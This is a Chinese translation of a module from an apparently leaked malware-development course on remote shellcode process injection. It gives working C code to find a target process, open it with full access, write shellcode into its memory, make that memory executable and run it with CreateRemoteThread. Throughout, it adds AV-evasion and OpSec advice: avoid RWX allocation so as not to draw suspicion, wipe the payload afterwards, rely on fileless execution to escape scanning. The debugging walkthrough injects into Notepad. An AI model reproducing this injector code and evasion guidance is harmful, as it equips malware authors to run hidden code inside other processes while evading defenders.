模块 29 - 进程注入 - Shellcode 注入#

[!IMPORTANT] 本知识库声明

本知识库由本人整理自互联网 MalDev Academy 泄露资源，并由本人手动翻译为中文，过程中增加了大量关键技术提示与实践心得。

内容完整性：并未修改任何核心代码与技术逻辑，仅做汉化与注释加强。

版权归属：原始知识产权归原作者/官方所有。

支持正版：本仓库仅供内部学习交流，如果您有经济能力，请务必支持正版课程。

权利申诉：如相关内容侵犯了您的权益，请联系我，我将立即核实并删除。

进程注入 - Shellcode 注入#

简介#

本模块将与之前的 DLL 注入模块类似，只有细微的变化。Shellcode 进程注入将使用几乎相同的 Windows API 来执行任务：

VirtualAllocEx ↗ - 内存分配。
WriteProcessMemory ↗ - 将 Payload 写入远程进程。
VirtualProtectEx ↗ - 修改内存保护。
CreateRemoteThread ↗ - 通过新线程执行 Payload。

💡 初学者提示：API 的 “Ex” 后缀

你会发现很多 API 都有个 “Ex” 版本（如 VirtualAlloc vs VirtualAllocEx）。

无后缀（如 VirtualAlloc）：通常只操作当前进程。

Ex 后缀（如 VirtualAllocEx）：Extended（扩展）版本，通常接受一个 hProcessHandle 参数，允许操作指定进程（本地或远程）。

例外：有些 Ex 函数只是增加了额外参数（如 VirtualFreeEx），功能本质不变但作用域变了。

枚举进程#

与前一个模块类似，进程注入从枚举进程开始。下面显示的进程枚举代码片段已在前一个模块中解释过。

BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {

	// 根据文档：
	// 在调用 Process32First 函数之前，将此成员设置为 sizeof(PROCESSENTRY32)。
	// 如果 dwSize 未初始化，Process32First 将失败。
	PROCESSENTRY32	Proc = {
		.dwSize = sizeof(PROCESSENTRY32) 
	};

	HANDLE hSnapShot = NULL;

	// 获取当前正在运行的进程的快照
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE){
		printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// 检索有关快照中遇到的第一个进程的信息。
	if (!Process32First(hSnapShot, &Proc)) {
		printf("[!] Process32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {

		WCHAR LowerName[MAX_PATH * 2];

		if (Proc.szExeFile) {
			DWORD	dwSize = lstrlenW(Proc.szExeFile);
			DWORD   i = 0;

			RtlSecureZeroMemory(LowerName, MAX_PATH * 2);

			// 将 Proc.szExeFile 中的每个字符转换为小写字符
			// 并将其保存在 LowerName 中
			if (dwSize < MAX_PATH * 2) {

				for (; i < dwSize; i++)
					LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);

				LowerName[i++] = '\0';
			}
		}

		// 如果小写后的进程名称与我们要查找的进程匹配
		if (wcscmp(LowerName, szProcessName) == 0) {
			// 保存 PID
			*dwProcessId = Proc.th32ProcessID;
			// 打开进程句柄
			*hProcess    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
			if (*hProcess == NULL)
				printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

			break;
		}

	// 检索有关快照中记录的下一个进程的信息。
	// 当快照中仍有进程时，继续循环
	} while (Process32Next(hSnapShot, &Proc));

	// 清理
	_EndOfFunction:
		if (hSnapShot != NULL)
			CloseHandle(hSnapShot);
		if (*dwProcessId == NULL || *hProcess == NULL)
			return FALSE;
		return TRUE;
	}

Shellcode 注入#

要执行 Shellcode 注入，将使用 InjectShellcodeToRemoteProcess 函数。该函数接受 3 个参数：

hProcess - 已打开的远程进程的句柄。
pShellcode - 去混淆后的 Shellcode 的基地址。Shellcode 在注入之前必须是明文，因为一旦进入远程进程就无法编辑它（实际上可以但很麻烦）。
sSizeOfShellcode - Shellcode 的大小。

Shellcode 注入 - 代码片段#

BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {

	PVOID	pShellcodeAddress              = NULL;

	SIZE_T	sNumberOfBytesWritten          = NULL;
	DWORD	dwOldProtection                = NULL;


	// 在远程进程中分配大小为 sSizeOfShellcode 的内存
	// 内存保护为 Read-Write (RW)，避免直接申请 RWX 引起怀疑
	pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pShellcodeAddress == NULL) {
		printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);


	printf("[#] Press <Enter> To Write Payload ... ");
	getchar();
	// 将 shellcode 写入分配的内存
	if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
		printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);

	// 清理本地进程中的 shellcode 副本
	memset(pShellcode, '\0', sSizeOfShellcode);

	// 使远程内存区域可执行 (RW -> RX 或 RWX)
	// 最佳实践是使用 PAGE_EXECUTE_READ
	if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
		printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	
	printf("[#] Press <Enter> To Run ... ");
	getchar();
	printf("[i] Executing Payload ... ");
	// 在新线程中启动 shellcode
	if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
		printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
	printf("[+] DONE !\n");

	return TRUE;
}

📚 知识扩展：为什么在远程进程中执行 Shellcode？

无文件落地：Shellcode 直接写入内存，不需要像 DLL 注入那样在磁盘上放一个 .dll 文件。

更难检测：没有文件 I/O 操作供 AV 扫描。

更灵活：可以注入任何代码，不仅仅是加载 DLL。

执行步骤：

VirtualAllocEx (RW) -> 申请内存

WriteProcessMemory -> 写入代码

VirtualProtectEx (RX/RWX) -> 改为可执行

CreateRemoteThread -> 执行这个 “Alloc -> Write -> Protect -> Exec” 模式是所有代码注入的基石。

释放远程内存#

VirtualFreeEx ↗ 是一个用于释放远程进程中先前分配的内存的 WinAPI。此函数应仅在 Payload 完全执行完毕后调用，否则可能会释放 Payload 的内容并导致进程崩溃。

BOOL VirtualFreeEx(
  [in] HANDLE hProcess,
  [in] LPVOID lpAddress,
  [in] SIZE_T dwSize,
  [in] DWORD  dwFreeType
);

VirtualFreeEx 接受与 VirtualFree WinAPI 相同的参数，唯一的区别是 VirtualFreeEx 接受一个额外的参数（hProcess），该参数指定内存区域所在的驻留进程。

调试#

在本节中，使用 xdbg 调试器调试实现，以进一步了解底层发生的情况。

本演练将 Shellcode 注入到 Notepad 进程中，因此首先打开 Notepad 并将 x64 xdbg 调试器附加到它。下图显示该进程的 PID 为 22992。

运行 RemoteShellcodeInjection.exe，提供 notepad.exe 作为参数。二进制文件将开始搜索 Notepad 的 PID，它应该与 xdbg 调试器中显示的 PID 相同，在本例中为 22992。

接下来，二进制文件将解密 Payload。请注意，尝试访问内存地址将导致错误。发生这种情况是因为调试器附加到了 notepad.exe 进程，而去混淆过程发生在本地进程 RemoteShellcodeInjection.exe 中。

要查看去混淆的 Payload，必须打开一个新的 xdbg 实例并将其附加到 RemoteShellcodeInjection.exe 进程。

回到 Notepad 调试器实例，下一步是内存分配。将写入 Payload 的基地址是 0x0000021700230000。调试器显示分配的内存区域已归零。

然后将去混淆的 Payload 写入远程进程中分配的内存区域。

分析本地进程，Payload 已成功归零，因为不再需要它。

最后，Payload 在远程进程的新线程内执行。

🎯 总结#

在本模块中，我们学习了：

远程 Shellcode 注入：如何在不使用 DLL 的情况下将代码注入另一个进程。
核心 API：VirtualAllocEx -> WriteProcessMemory -> VirtualProtectEx -> CreateRemoteThread。
调试跨进程注入：如何使用 x64dbg 分别调试注入器（Injector）和目标进程（Target）。

💡 关键要点

Shellcode 注入 vs DLL 注入：Shellcode 更隐蔽（内存中执行，无文件），但开发 Shellcode 比编写 DLL 更难。

内存清理：在将 Shellcode 写入远程进程后，立即在本地进程中擦除明文 Shellcode 是良好的 OpSec 习惯。

CreateRemoteThread：依然是最大的检测指标。后续模块将学习如何避免使用它。

📚 下一步学习

下一个模块将介绍 Payload Staging（恶意载荷分段）。我们不再将整个 Payload 硬编码在二进制文件中，而是从网络服务器下载！